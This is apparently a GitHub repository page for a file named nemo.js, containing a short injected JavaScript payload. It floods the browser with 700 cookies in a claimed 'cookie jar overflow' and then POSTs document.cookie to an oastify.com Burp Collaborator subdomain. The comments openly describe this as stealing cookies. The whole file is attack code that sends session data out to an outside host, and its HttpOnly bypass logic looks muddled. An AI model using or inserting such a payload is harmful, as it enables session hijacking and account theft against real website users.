-
Notifications
You must be signed in to change notification settings - Fork 0
/
nemo.js
50 lines (42 loc) · 1.73 KB
/
nemo.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<script>
// Function to set a cookie
function setCookie(name, value, days) {
var expires = "";
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/";
}
// Function to send stolen cookies to Burp Collaborator subdomain endpoint
function sendStolenCookies(cookies) {
// Generate a unique identifier for this request
var uniqueIdentifier = Math.random().toString(36).substring(7);
// Construct the payload containing stolen cookies and unique identifier
var payload = JSON.stringify({
cookies: cookies,
uniqueIdentifier: uniqueIdentifier
});
// Send payload to Burp Collaborator subdomain endpoint
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://" + uniqueIdentifier + ".6u1t6630j7sup2nizaqtgfufy64yssgh.oastify.com", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(payload);
}
// Function to trigger cookie jar overflow and steal cookies
function triggerOverflowAndStealCookies() {
// Set an initial HttpOnly cookie
setCookie("HttpOnlyCookie", "InitialValue", 1);
// Set a large number of cookies to trigger overflow
for (let i = 0; i < 700; i++) {
document.cookie = "cookie" + i + "=" + i;
}
// Set a new cookie with attacker-controlled value
document.cookie = "attackerCookie=" + document.cookie;
// Extract all cookies and send them to Burp Collaborator subdomain endpoint
sendStolenCookies(document.cookie);
}
// Execute the function to trigger cookie jar overflow and steal cookies
triggerOverflowAndStealCookies();
</script>